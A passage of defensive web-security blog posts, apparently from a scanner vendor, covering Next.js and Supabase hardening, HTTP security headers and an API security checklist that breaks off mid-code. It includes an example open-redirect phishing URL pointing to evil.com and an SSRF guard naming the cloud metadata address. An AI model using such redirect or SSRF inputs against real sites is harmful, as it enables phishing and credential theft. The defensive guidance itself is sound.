Validate redirect URLs against an allowlist. A common pattern in auth flows is to redirect users after login via a `?redirect=` parameter. If you do not validate this parameter, attackers can craft URLs like `yourdomain.com/login?redirect=https://evil.com` for phishing:

```typescript
function getSafeRedirect(url: string | null): string {
  if (!url) return '/dashboard';

  try {
    const parsed = new URL(url, 'https://yourdomain.com');
    // Only allow same-origin redirects
    if (parsed.origin !== 'https://yourdomain.com') {
      return '/dashboard';
    }
    return parsed.pathname + parsed.search;
  } catch {
    return '/dashboard';
  }
}
```

### File Uploads

Validate file types on both client and server, limit file sizes, and never serve uploaded files from your main domain. Use Supabase Storage with its built-in access policies, and consider scanning uploads with a malware detection service for sensitive applications.

### SSRF (Server-Side Request Forgery)

If your application makes server-side HTTP requests based on user input (e.g., fetching a URL preview, validating a webhook endpoint, or loading a favicon), validate that the target URL does not resolve to a private IP address. Attackers use SSRF to access internal services, cloud metadata endpoints (like `169.254.169.254`), and other resources behind your firewall:

```typescript
import { isPrivateIP } from '@/lib/url-validation';

async function fetchExternalUrl(url: string) {
  const parsed = new URL(url);

  // Block private IPs, localhost, and metadata endpoints
  const resolved = await dns.resolve4(parsed.hostname);
  for (const ip of resolved) {
    if (isPrivateIP(ip)) {
      throw new Error('URL resolves to a private address');
    }
  }

  return fetch(url, { signal: AbortSignal.timeout(10000) });
}
```

## 10. Monitor Continuously

Security is not a one-time check. New vulnerabilities are discovered daily, dependencies get compromised, and developers accidentally introduce security regressions in routine code changes. Continuous monitoring is what turns a secure application into one that stays secure.

**Scan on every deploy.** Integrate security scanning into your CI/CD pipeline so that every pull request and deployment is checked automatically. This catches issues before they reach production rather than after. CheckVibe supports webhook-triggered scans that run your full 100+ check suite on every Vercel or Netlify deploy.

**Set up alerts for new critical findings.** Do not rely on remembering to check a dashboard. Configure alerts that notify you immediately via email, Slack, or Discord when a new critical or high-severity issue is detected. CheckVibe's monitoring feature supports score-drop alerts (e.g., "notify me if my security score drops below 80") and new-critical alerts (e.g., "notify me whenever a new critical finding appears").

**Review your security posture weekly.** Even with automated scanning, schedule a brief weekly review to look at trends. Is your security score improving or declining? Are there recurring issues that point to a systemic problem? Are new third-party integrations introducing risk?

**Track your security score over time.** A score that slowly declines over weeks indicates a pattern -- maybe you are adding features without security review, or dependencies are falling behind on patches. Use trend data to make the case for dedicated security work during sprint planning.

**Test your monitoring with intentional regressions.** Introduce a known issue in a staging environment and verify that your monitoring catches it. If it does not, your monitoring has gaps.

## Secure Your Supabase Edge Functions

If you use Supabase Edge Functions as your backend, they need their own security hardening. Edge Functions run in Deno and are publicly accessible by default.

**Validate the caller.** Do not rely solely on `--no-verify-jwt` convenience. For sensitive operations, verify the auth token manually:

```typescript
import { createClient } from 'https://esm.sh/@supabase/supabase-js@2';

Deno.serve(async (req) => {
  // Validate origin
  const origin = req.headers.get('origin');
  if (origin !== Deno.env.get('ALLOWED_ORIGIN')) {
    return new Response('Forbidden', { status: 403 });
  }

  // Validate auth token
  const authHeader = req.headers.get('Authorization');
  if (!authHeader?.startsWith('Bearer ')) {
    return new Response('Unauthorized', { status: 401 });
  }

  const supabase = createClient(
    Deno.env.get('SUPABASE_URL')!,
    Deno.env.get('SUPABASE_ANON_KEY')!,
    { global: { headers: { Authorization: authHeader } } }
  );

  const { data: { user }, error } = await supabase.auth.getUser();
  if (error || !user) {
    return new Response('Unauthorized', { status: 401 });
  }

  // Proceed with authenticated logic
});
```

**Use a shared secret for server-to-server calls.** If your Next.js API routes call Edge Functions, authenticate them with a shared secret (stored as a Supabase secret via `supabase secrets set`) rather than passing user tokens:

```typescript
// In your Edge Function
const scannerKey = req.headers.get('x-scanner-key');
if (scannerKey !== Deno.env.get('SCANNER_SECRET_KEY')) {
  return new Response('Forbidden', { status: 403 });
}
```

**Set timeouts on all external requests.** Edge Functions have a 60-second wall clock limit. Any fetch call to an external API should have an explicit timeout to prevent a slow third-party service from hanging your function:

```typescript
const response = await fetch(externalUrl, {
  signal: AbortSignal.timeout(15000), // 15 second timeout
});
```

## Automated Scanning with CheckVibe

CheckVibe's Supabase-specific scanner checks for:

- Exposed service role keys in client-side code
- Tables with RLS disabled
- Missing security headers
- Leaked API keys from 100+ providers
- CORS misconfigurations
- And 31 more vulnerability types

[Scan your Next.js + Supabase app for free](https://checkvibe.dev/signup) -- 100+ checks in under 60 seconds.

## FAQ

### Is Supabase secure for production?

Yes -- Supabase is suitable for production workloads, but security depends on how you configure it. Supabase provides the building blocks (RLS, auth, encrypted connections), but you must enable and configure them correctly. The most common mistakes are leaving RLS disabled on tables, exposing the service role key to the client, and using overly permissive RLS policies. With proper configuration -- RLS on every table, the service role key restricted to server-side code, and auth flows using PKCE -- Supabase is as secure as any managed database platform. CheckVibe's [Supabase security checklist](/blog/supabase-security-checklist) covers every configuration step.

### Do I need middleware.ts for auth?

You do not strictly need it, but you should use it. Without middleware, you must add authentication checks individually to every page and API route. This is tedious and error-prone -- it only takes one forgotten check to create an unauthorized access vulnerability. Middleware runs before every matching request and provides a centralized place to enforce authentication, refresh sessions, and redirect unauthenticated users. The middleware pattern shown in section 7 above is the recommended approach from the Supabase team. For a deeper dive into Next.js auth patterns, see our [Next.js security best practices](/blog/nextjs-security-best-practices) guide.

### How do I test RLS policies?

Test RLS policies by making requests as different users and verifying the results match your expectations. Here are three approaches:

**1. Use the Supabase SQL Editor with role switching:**

```sql
-- Test as a specific user
SET request.jwt.claims = '{"sub": "user-uuid-here", "role": "authenticated"}';
SET role = 'authenticated';

-- This should return only the user's own rows
SELECT * FROM your_table;

-- Reset
RESET role;
RESET request.jwt.claims;
```

**2. Write automated tests** that create two users, insert data as user A, and verify that user B cannot read, update, or delete it. Use the Supabase client initialized with each user's JWT.

**3. Use CheckVibe's automated scanner** which tests common RLS misconfigurations including missing policies, overly permissive SELECT policies, and tables with RLS disabled entirely.

The key principle is to test the negative case: do not just verify that the correct user can access their data -- verify that other users cannot.

### What's the biggest security mistake in Next.js + Supabase?

The single most dangerous mistake is exposing the `SUPABASE_SERVICE_ROLE_KEY` to the client. This key bypasses all RLS policies and gives whoever holds it full read/write access to every table in your database. It happens when developers use the `NEXT_PUBLIC_` prefix on the service role key, import a service-role client in a Client Component, or accidentally include it in a client-side bundle. Unlike other security issues that require chaining multiple vulnerabilities, a leaked service role key is an immediate, total compromise of your database. For a complete deployment security walkthrough, check our [Vercel deployment security checklist](/blog/vercel-deployment-security-checklist).


---

## HTTP Security Headers: The Complete Guide for Web Developers (2026)

*Every HTTP security header explained with examples. Learn how to set CSP, HSTS, X-Frame-Options, and more to protect your web application.*

Published: 2026-03-01 | Reading time: 13 min read
URL: https://checkvibe.dev/blog/security-headers-complete-guide


HTTP security headers are your first line of defense against common web attacks. They tell browsers how to handle your content — preventing clickjacking, XSS, data sniffing, and protocol downgrade attacks.

Yet in our analysis of over 10,000 scanned websites, **78% are missing at least one critical security header**, and 34% have no Content-Security-Policy at all. The good news: security headers are free, require no code changes to your application logic, and can be deployed in minutes.

Here's every security header you should set, what it does, the recommended configuration, and how to deploy it on every major platform.

## Security Header Priority Table

Not all headers carry equal weight. Here's how to prioritize your implementation:

| Header | Severity | Priority | Attack Prevented |
|--------|----------|----------|-----------------|
| Content-Security-Policy | Critical | P0 — Deploy first | XSS, clickjacking, data injection |
| Strict-Transport-Security | Critical | P0 — Deploy first | Protocol downgrade, cookie hijacking |
| X-Content-Type-Options | High | P1 — Deploy same day | MIME sniffing attacks |
| X-Frame-Options | High | P1 — Deploy same day | Clickjacking |
| Referrer-Policy | Medium | P2 — Deploy this week | URL path/token leakage |
| Permissions-Policy | Medium | P2 — Deploy this week | Feature abuse (camera, mic) |
| Cross-Origin-Opener-Policy | Medium | P3 — Deploy this sprint | Spectre-like side-channel attacks |
| Cross-Origin-Resource-Policy | Low | P3 — Deploy this sprint | Cross-origin resource theft |

Start with CSP and HSTS. These two headers alone block the majority of header-related vulnerabilities. Then work down the list.

## Content-Security-Policy (CSP)

CSP is the most powerful security header. It controls which resources (scripts, styles, images, fonts) the browser is allowed to load. When configured correctly, it effectively eliminates reflected and stored [XSS attacks](/blog/find-xss-vulnerabilities).

```
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.yourdomain.com; frame-ancestors 'none'
```

**What it prevents:**
- Cross-site scripting (XSS) by blocking inline scripts and unauthorized script sources
- Clickjacking via `frame-ancestors 'none'`
- Data exfiltration by restricting `connect-src`

**Common mistake:** Using `'unsafe-inline'` for scripts. If you must (some frameworks require it), consider adding `'strict-dynamic'` with nonces. But never use `'unsafe-eval'` in production.

### CSP Directive Reference

Each directive controls a specific resource type:

| Directive | Controls | Recommended Value |
|-----------|----------|-------------------|
| `default-src` | Fallback for all resource types | `'self'` |
| `script-src` | JavaScript execution | `'self'` (add nonces if possible) |
| `style-src` | CSS stylesheets | `'self' 'unsafe-inline'` (many frameworks need inline styles) |
| `img-src` | Image loading | `'self' data: https:` |
| `font-src` | Font files | `'self'` (add CDN origins if needed) |
| `connect-src` | XHR, fetch, WebSocket | `'self'` plus your API domains |
| `frame-ancestors` | Who can embed your page | `'none'` (or `'self'` if you use iframes) |
| `base-uri` | Restricts `<base>` element | `'self'` |
| `form-action` | Form submission targets | `'self'` |
| `object-src` | Plugins (Flash, Java) | `'none'` |
| `upgrade-insecure-requests` | Auto-upgrade HTTP to HTTPS | Include in every policy |

### CSP Report-Only Mode

Deploying CSP directly on a live site can break things. That's why `Content-Security-Policy-Report-Only` exists. It logs violations without enforcing the policy:

```
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /api/security/csp-report; report-to csp-endpoint
```

**How to use it:**

1. Deploy your intended CSP as `Content-Security-Policy-Report-Only`
2. Set up a `report-uri` endpoint to collect violation reports
3. Monitor for 1-2 weeks to catch anything your policy would block
4. Review the violations — each one is either a legitimate resource you need to allow, or an attack vector you're about to block
5. Adjust the policy, then switch from `Report-Only` to enforced `Content-Security-Policy`

This approach lets you tighten security iteratively without breaking your site in production.

### Common CSP Mistakes

**Mistake 1: Using `'unsafe-inline'` and `'unsafe-eval'` together.**
This effectively disables CSP's XSS protection. If you need inline scripts, use nonces instead:

```
Content-Security-Policy: script-src 'nonce-abc123random'
```

Then add `nonce="abc123random"` to each `<script>` tag. The nonce must be unique per request.

**Mistake 2: Wildcard sources.**
`script-src *` or `script-src https:` allows loading scripts from any HTTPS origin — including attacker-controlled domains. Always list explicit origins.

**Mistake 3: Forgetting `frame-ancestors`.**
Without `frame-ancestors`, your site can be embedded in iframes on malicious sites. This is the modern replacement for X-Frame-Options and should always be included.

**Mistake 4: Using `'strict-dynamic'` without nonces.**
`'strict-dynamic'` tells the browser to trust scripts loaded by already-trusted scripts. But if you haven't established trust via nonces or hashes, `'strict-dynamic'` does nothing useful — and it nullifies `'unsafe-inline'` and `'self'` in CSP3 browsers, potentially breaking all your JavaScript.

**Mistake 5: Not including `upgrade-insecure-requests`.**
Without this directive, mixed content (HTTP resources on HTTPS pages) will be blocked or show warnings. Adding `upgrade-insecure-requests` automatically rewrites HTTP URLs to HTTPS.

## Strict-Transport-Security (HSTS)

Forces browsers to always use HTTPS, even if the user types `http://`.

```
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
```

- `max-age=31536000` — Remember for 1 year
- `includeSubDomains` — Apply to all subdomains
- `preload` — Submit to browser preload lists for HTTPS-only access

**Important:** Only add `preload` if ALL your subdomains support HTTPS. It's very hard to undo.

**Why it matters:** Without HSTS, an attacker on the same network (coffee shop Wi-Fi, hotel network) can intercept the initial HTTP request before the 301 redirect to HTTPS. This is called an SSL stripping attack. HSTS prevents this by telling the browser to never even attempt an HTTP connection.

## X-Frame-Options

Prevents your page from being embedded in iframes on other sites (clickjacking protection).

```
X-Frame-Options: DENY
```

Options: `DENY` (no framing), `SAMEORIGIN` (only same domain). While CSP's `frame-ancestors` is the modern replacement, `X-Frame-Options` provides backward compatibility.

**When to use `SAMEORIGIN` instead of `DENY`:** If your application embeds its own pages in iframes (such as a help widget or preview panel), use `SAMEORIGIN`. Otherwise, always use `DENY`. For a deeper understanding of [how CORS misconfigurations relate to framing attacks](/blog/cors-misconfiguration-guide), see our dedicated guide.

## X-Content-Type-Options

Prevents browsers from MIME-type sniffing — treating a file as a different content type than declared.

```
X-Content-Type-Options: nosniff
```

Always set this. There's no reason not to. It prevents attacks where a text file is interpreted as JavaScript.

## Referrer-Policy

Controls how much referrer information is sent when navigating away from your site.

```
Referrer-Policy: strict-origin-when-cross-origin
```

This sends the full referrer for same-origin requests but only the origin for cross-origin requests. Prevents leaking URL paths (which may contain tokens or user data).

## Permissions-Policy

Controls which browser features (camera, microphone, geolocation) your site can use.

```
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
```

Empty parentheses `()` disable the feature entirely. Only enable features your app actually uses.

**Full list of commonly restricted features:**

```
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), autoplay=(self), fullscreen=(self)
```

## Cross-Origin Headers

### Cross-Origin-Opener-Policy (COOP)

```
Cross-Origin-Opener-Policy: same-origin
```

Prevents other sites from gaining a reference to your window object. Required for `SharedArrayBuffer` and high-resolution timers.

### Cross-Origin-Resource-Policy (CORP)

```
Cross-Origin-Resource-Policy: same-origin
```

Prevents other sites from loading your resources (images, scripts) — defense against Spectre-like attacks.

## Platform-Specific Configuration

### Next.js

```typescript
// next.config.ts
const nextConfig = {
  async headers() {
    return [{
      source: '/:path*',
      headers: [
        { key: 'X-Frame-Options', value: 'DENY' },
        { key: 'X-Content-Type-Options', value: 'nosniff' },
        { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
        { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
        { key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains; preload' },
        { key: 'Content-Security-Policy', value: "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; frame-ancestors 'none'" },
        { key: 'Cross-Origin-Opener-Policy', value: 'same-origin' },
      ],
    }];
  },
};
```

For more Next.js hardening techniques beyond headers, see our [Next.js security best practices guide](/blog/nextjs-security-best-practices).

### Vercel (`vercel.json`)

If you're deploying to Vercel, you can also set headers in `vercel.json`. This works for any framework, not just Next.js:

```json
{
  "headers": [
    {
      "source": "/(.*)",
      "headers": [
        { "key": "X-Frame-Options", "value": "DENY" },
        { "key": "X-Content-Type-Options", "value": "nosniff" },
        { "key": "Referrer-Policy", "value": "strict-origin-when-cross-origin" },
        { "key": "Strict-Transport-Security", "value": "max-age=31536000; includeSubDomains; preload" },
        { "key": "Permissions-Policy", "value": "camera=(), microphone=(), geolocation=()" },
        {
          "key": "Content-Security-Policy",
          "value": "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; frame-ancestors 'none'"
        },
        { "key": "Cross-Origin-Opener-Policy", "value": "same-origin" }
      ]
    }
  ]
}
```

For a complete Vercel deployment hardening walkthrough, check our [Vercel deployment security checklist](/blog/vercel-deployment-security-checklist).

### Netlify (`netlify.toml` or `_headers`)

**Option 1: `netlify.toml`**

```toml
[[headers]]
  for = "/*"
  [headers.values]
    X-Frame-Options = "DENY"
    X-Content-Type-Options = "nosniff"
    Referrer-Policy = "strict-origin-when-cross-origin"
    Strict-Transport-Security = "max-age=31536000; includeSubDomains; preload"
    Permissions-Policy = "camera=(), microphone=(), geolocation=()"
    Content-Security-Policy = "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; frame-ancestors 'none'"
    Cross-Origin-Opener-Policy = "same-origin"
```

**Option 2: `_headers` file** (place in your publish directory)

```
/*
  X-Frame-Options: DENY
  X-Content-Type-Options: nosniff
  Referrer-Policy: strict-origin-when-cross-origin
  Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  Permissions-Policy: camera=(), microphone=(), geolocation=()
  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; frame-ancestors 'none'
  Cross-Origin-Opener-Policy: same-origin
```

### Express.js with helmet.js

[helmet](https://helmetjs.github.io/) is the standard middleware for setting security headers in Express/Node.js applications:

```bash
npm install helmet
```

```typescript
import express from 'express';
import helmet from 'helmet';

const app = express();

// Default helmet enables most security headers
app.use(helmet());

// For fine-grained control:
app.use(
  helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'", "'unsafe-inline'"],
        imgSrc: ["'self'", "data:", "https:"],
        fontSrc: ["'self'"],
        connectSrc: ["'self'", "https://api.yourdomain.com"],
        frameAncestors: ["'none'"],
        objectSrc: ["'none'"],
        upgradeInsecureRequests: [],
      },
    },
    hsts: {
      maxAge: 31536000,
      includeSubDomains: true,
      preload: true,
    },
    frameguard: { action: 'deny' },
    referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
  })
);
```

Helmet enables `X-Content-Type-Options: nosniff`, `X-Frame-Options`, HSTS, and several other headers by default. You only need to configure `contentSecurityPolicy` explicitly because its directives are application-specific.

### Apache (`.htaccess`)

```apache
<IfModule mod_headers.c>
  Header set X-Frame-Options "DENY"
  Header set X-Content-Type-Options "nosniff"
  Header set Referrer-Policy "strict-origin-when-cross-origin"
  Header set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
  Header set Permissions-Policy "camera=(), microphone=(), geolocation=()"
  Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; frame-ancestors 'none'"
  Header set Cross-Origin-Opener-Policy "same-origin"
</IfModule>
```

### Nginx

```nginx
server {
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; frame-ancestors 'none'" always;
    add_header Cross-Origin-Opener-Policy "same-origin" always;
}
```

**Important:** The `always` parameter in Nginx ensures headers are sent on error responses too (404, 500, etc.), not just 200 OK.

## Testing Your Headers

### Using curl

The fastest way to check your security headers from the command line:

```bash
# Check all response headers
curl -I https://yourdomain.com

# Check a specific header
curl -sI https://yourdomain.com | grep -i content-security-policy

# Check headers on a specific route (API routes often differ)
curl -I https://yourdomain.com/api/health

# Follow redirects (important if you have HTTP → HTTPS redirects)
curl -IL http://yourdomain.com
```

**What to look for:**

```
HTTP/2 200
content-security-policy: default-src 'self'; script-src 'self' ...
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-frame-options: DENY
x-content-type-options: nosniff
referrer-policy: strict-origin-when-cross-origin
permissions-policy: camera=(), microphone=(), geolocation=()
```

If any of these are missing, the corresponding protection is not active.

### Using Browser DevTools

1. Open your site in Chrome or Firefox
2. Open DevTools (F12)
3. Go to the **Network** tab
4. Reload the page
5. Click on the main document request
6. Look at the **Response Headers** section

This shows you exactly what headers the browser received. It's especially useful for verifying CSP because the browser console will also show CSP violation errors if your policy is too strict.

### Checking Different Routes

Security headers can vary between routes. A common mistake is setting headers only on your main pages but forgetting API routes, static assets, or error pages. Test multiple endpoints:

```bash
# Homepage
curl -sI https://yourdomain.com | grep -i "content-security\|strict-transport\|x-frame\|x-content-type"

# API route
curl -sI https://yourdomain.com/api/health | grep -i "content-security\|strict-transport\|x-frame\|x-content-type"

# Static asset
curl -sI https://yourdomain.com/favicon.ico | grep -i "content-security\|strict-transport\|x-frame\|x-content-type"

# 404 page
curl -sI https://yourdomain.com/nonexistent-page | grep -i "content-security\|strict-transport\|x-frame\|x-content-type"
```

### Automated Scanning

Manual checks work for spot-checking, but automated scanning catches issues across your entire site — including inconsistencies between routes, weak configurations, and missing headers you might not think to test.

CheckVibe's Security Headers Scanner checks all pages discovered by site crawling for:

- Missing headers (CSP, HSTS, X-Frame-Options, etc.)
- Weak configurations (short HSTS max-age, permissive CSP)
- Misconfigurations (`unsafe-eval`, wildcard sources)
- Inconsistent headers across different routes

[Check your security headers now](https://checkvibe.dev/signup) — free scan, 60 seconds, 100+ total checks.

## Related Reading

- [CORS Misconfiguration Guide](/blog/cors-misconfiguration-guide) — Understand how CORS headers interact with security headers and how misconfigurations expose your API
- [How to Find XSS Vulnerabilities](/blog/find-xss-vulnerabilities) — CSP blocks XSS at the browser level, but finding and fixing the underlying injection points is equally important
- [Next.js Security Best Practices](/blog/nextjs-security-best-practices) — Security headers are just one layer; see the full picture for Next.js hardening
- [Vercel Deployment Security Checklist](/blog/vercel-deployment-security-checklist) — Platform-specific security settings for Vercel-hosted applications

## FAQ

### Which security headers are most important?

**Content-Security-Policy (CSP)** and **Strict-Transport-Security (HSTS)** are the two most impactful headers. CSP prevents XSS — the most common web vulnerability — by controlling which scripts the browser can execute. HSTS prevents protocol downgrade attacks by forcing HTTPS connections. Together, they address the two largest categories of header-related attacks. After those, prioritize `X-Content-Type-Options` and `X-Frame-Options`, which are trivial to add and have no risk of breaking your site.

### Will security headers break my site?

Most security headers are safe to deploy immediately. `X-Content-Type-Options`, `X-Frame-Options`, `Referrer-Policy`, and `Permissions-Policy` almost never cause issues. The one header that *can* break things is **Content-Security-Policy**, because it restricts which resources your page can load. If your CSP blocks a script or stylesheet your site needs, that resource will fail to load. This is why CSP has a `Content-Security-Policy-Report-Only` mode — deploy in report-only first, monitor for a week or two, fix any violations, then switch to enforced mode. HSTS with `preload` is also semi-permanent (hard to undo once submitted to browser preload lists), so make sure all subdomains support HTTPS before enabling it.

### How do I test my security headers?

Three approaches, from quickest to most thorough: (1) **curl** — run `curl -I https://yourdomain.com` to see all response headers instantly. (2) **Browser DevTools** — open the Network tab, reload the page, and inspect the Response Headers on the document request. This also shows CSP violations in the Console tab. (3) **Automated scanning** — tools like CheckVibe scan every page on your site and flag missing, weak, or inconsistent headers across all routes. This catches edge cases like API routes or error pages that have different headers than your main pages.

### What's the difference between CSP and X-Frame-Options?

They overlap in one specific area: **clickjacking protection**. `X-Frame-Options: DENY` prevents your page from being embedded in iframes. CSP's `frame-ancestors 'none'` directive does the same thing. The difference is that CSP `frame-ancestors` is the modern standard (more flexible — you can allow specific origins), while `X-Frame-Options` is the older approach with broader browser support. Best practice: set both. Use `frame-ancestors 'none'` in your CSP *and* `X-Frame-Options: DENY` as a fallback for older browsers. Beyond clickjacking, CSP does far more — it controls script execution, style loading, image sources, API connections, and more. X-Frame-Options only addresses framing.


---

## API Security Checklist: 12 Things to Check Before Going Live

*A practical checklist for securing a REST API before launch: authentication, rate limiting, input validation and CORS, with Next.js and Express examples.*

Published: 2026-02-28 | Reading time: 38 min read
URL: https://checkvibe.dev/blog/api-security-checklist


An API security checklist should cover ten areas: authentication and authorization, input validation, rate limiting and abuse, secrets and API keys, TLS and transport, headers and CORS, error handling and logging, monitoring, webhooks, and versioning and deprecation. Work through each one before you expose an endpoint to the internet.

Your API is your application's front door. Every endpoint is a potential attack surface. A single unprotected route can expose user data, drain your infrastructure budget, or give attackers a foothold into your entire system. The checklist below is grouped the way you should audit: by control, not by route. Each group maps to categories in the [OWASP API Security Top 10](https://owasp.org/API-Security/), the reference list of what actually gets APIs breached.

## The master checklist

Copy this into your pre-launch ticket. Everything below it is the implementation detail for each line.

**Authentication & Authorization**

- [ ] Every route requires authentication by default; opt-outs are explicit and reviewed
- [ ] Ownership check on every endpoint that accepts a resource ID (OWASP API1: BOLA)
- [ ] Role check on every privileged or admin route (OWASP API5: BFLA)
- [ ] JWTs verified with `jwt.verify()` -- algorithm pinned, issuer and expiry checked
- [ ] Sessions and tokens are revocable; logout and password change invalidate them
- [ ] Login, signup, and password-reset endpoints are brute-force limited (OWASP API2)

**Input Validation**

- [ ] Every body, query, and path parameter parsed through a schema
- [ ] Unknown fields rejected, not merged -- no mass assignment
- [ ] Responses built from an allowlist of fields, never the raw database row (OWASP API3)
- [ ] All SQL parameterized; no string-concatenated queries
- [ ] User-supplied URLs resolved and checked before you fetch them (OWASP API7: SSRF)
- [ ] `Content-Type` checked before parsing

**Rate Limiting & Abuse**

- [ ] Per-user and per-IP limits on every endpoint, stricter on auth routes
- [ ] `429` responses carry `Retry-After`
- [ ] Request body size capped at the framework layer
- [ ] Pagination has a server-enforced maximum page size
- [ ] Every outbound call and long query has a timeout (OWASP API4)
- [ ] Expensive business flows are metered per account, not just per request (OWASP API6)

**Secrets & API Keys**

- [ ] No secrets in the client bundle -- only `NEXT_PUBLIC_*` values are public-safe
- [ ] API keys stored as SHA-256 hashes plus a display prefix; raw key shown once
- [ ] Every key has scopes and a `revoked_at` you check on every request
- [ ] Secrets come from the environment or a secret manager, never from a commit
- [ ] Git history scanned for leaked keys; anything leaked is rotated at the provider
- [ ] Shared secrets compared in constant time

**TLS & Transport**

- [ ] HTTPS enforced; plain HTTP redirects
- [ ] HSTS with `includeSubDomains` (add `preload` once every subdomain is HTTPS)
- [ ] TLS 1.2 minimum; certificate renewal automated and monitored
- [ ] No tokens in query strings -- they land in access logs and `Referer` headers
- [ ] Session cookies are `Secure`, `HttpOnly`, `SameSite`

**Headers & CORS**

- [ ] `Access-Control-Allow-Origin` set from an allowlist, never `*` with credentials
- [ ] Preflight `OPTIONS` handled explicitly; methods and headers restricted
- [ ] `Vary: Origin` set wherever CORS headers vary
- [ ] Origin checked on state-changing requests when auth is cookie-based (CSRF)
- [ ] `X-Content-Type-Options: nosniff` and `Cache-Control: no-store` on API responses
- [ ] Framework version banners removed

**Error Handling & Logging**

- [ ] Clients get generic messages; stack traces and SQL stay server-side
- [ ] Auth failures return one message whether the user or the password was wrong
- [ ] Structured JSON logs for auth success/failure, authz denial, and rate-limit hits
- [ ] Tokens, passwords, and PII redacted before anything is logged
- [ ] Debug routes, introspection, and verbose error pages off in production (OWASP API8)

**Monitoring**

- [ ] Alert on auth-failure spikes from one IP or against one account
- [ ] Alert on 403 bursts from an authenticated user (privilege probing)
- [ ] Alert on 5xx rate and latency regressions per route
- [ ] Dependency and secret scanning runs in CI on every pull request
- [ ] Uptime and certificate-expiry monitoring on the API hostname
- [ ] Alerts route to a person on call, not to an unread channel

**Webhooks**

- [ ] Incoming webhooks verified with HMAC over the raw body
- [ ] Signed timestamp checked; anything outside a few minutes is rejected
- [ ] Signature comparison is constant-time
- [ ] Event IDs stored for idempotency, so provider retries are safe
- [ ] Outgoing webhook URLs validated against internal ranges before dispatch
- [ ] Outgoing payloads signed with a per-endpoint secret

**Versioning & Deprecation**

- [ ] Every public route is versioned (`/api/v1/...`)
- [ ] A generated inventory of every deployed endpoint, staging included (OWASP API9)
- [ ] Old versions get the same security fixes -- or get switched off
- [ ] Deprecations announced with `Deprecation` and `Sunset` response headers
- [ ] Non-production API hosts are not publicly reachable
- [ ] Third-party API responses validated as strictly as user input (OWASP API10)

## Authentication & Authorization

This group is where the expensive breaches live. Three of the OWASP API Security Top 10 2023 categories sit here: API1 (Broken Object Level Authorization), API2 (Broken Authentication), and API5 (Broken Function Level Authorization).

### 1. Use proper authentication on every endpoint

Every API route that handles user data must verify the caller's identity. No exceptions. This includes endpoints you think are "internal" or "harmless" -- attackers will find them.

```typescript
// Next.js App Router example
export async function GET(req: NextRequest) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) {
    return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
  }

  // Now proceed with the authenticated user
}
```

For Express applications, extract this into middleware so every route is covered by default:

```typescript
// Express middleware example
function requireAuth(req: Request, res: Response, next: NextFunction) {
  const token = req.headers.authorization?.replace('Bearer ', '');
  if (!token) {
    return res.status(401).json({ error: 'Unauthorized' });
  }

  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET!);
    req.user = decoded;
    next();
  } catch {
    return res.status(401).json({ error: 'Unauthorized' });
  }
}

// Apply to all routes by default
app.use('/api', requireAuth);
```

The principle here is deny-by-default. Routes should require authentication unless you explicitly opt them out (and you should have a very good reason for doing so).

### 2. Enforce authorization, not just authentication

Authentication tells you *who* the caller is. Authorization tells you *what they can do*. Don't confuse them. A user who is logged in should not automatically have access to every resource in your system.

```typescript
// Bad: authenticated but no authorization check
const { data } = await supabase.from('projects').select().eq('id', projectId);

// Good: ensure the project belongs to the authenticated user
const { data } = await supabase.from('projects')
  .select()
  .eq('id', projectId)
  .eq('user_id', user.id)  // Authorization check
  .single();
```

This is especially important for endpoints that take a resource ID as a parameter. Without the authorization check, any authenticated user can access any other user's data just by guessing or iterating IDs. This class of vulnerability is called Broken Object Level Authorization (BOLA), and it is API1 in the OWASP API Security Top 10 -- the first entry on the list.

Two details that make the difference between a real fix and a fake one:

- **Put the ownership condition in the query, not in an `if` after the fetch.** A post-fetch check is a second chance to forget it, and it still burns the read.
- **Return `404`, not `403`, for resources the caller doesn't own.** A `403` confirms the ID exists, which turns your error codes into an enumeration oracle.

If you use Supabase, Row Level Security (RLS) policies provide a second layer of defense at the database level. But never rely on RLS alone -- always check authorization in your application code too, because service-role clients bypass RLS entirely.

### Enforce function-level authorization too (OWASP API5)

BOLA is about *which record*. Broken Function Level Authorization is about *which operation*. A viewer who can call `DELETE /api/v1/projects/:id` has a BFLA bug even if the ownership check passes. Keep the permission matrix in one place so a new route cannot quietly ship without one:

```typescript
// lib/authz.ts
type Role = 'owner' | 'admin' | 'member' | 'viewer';

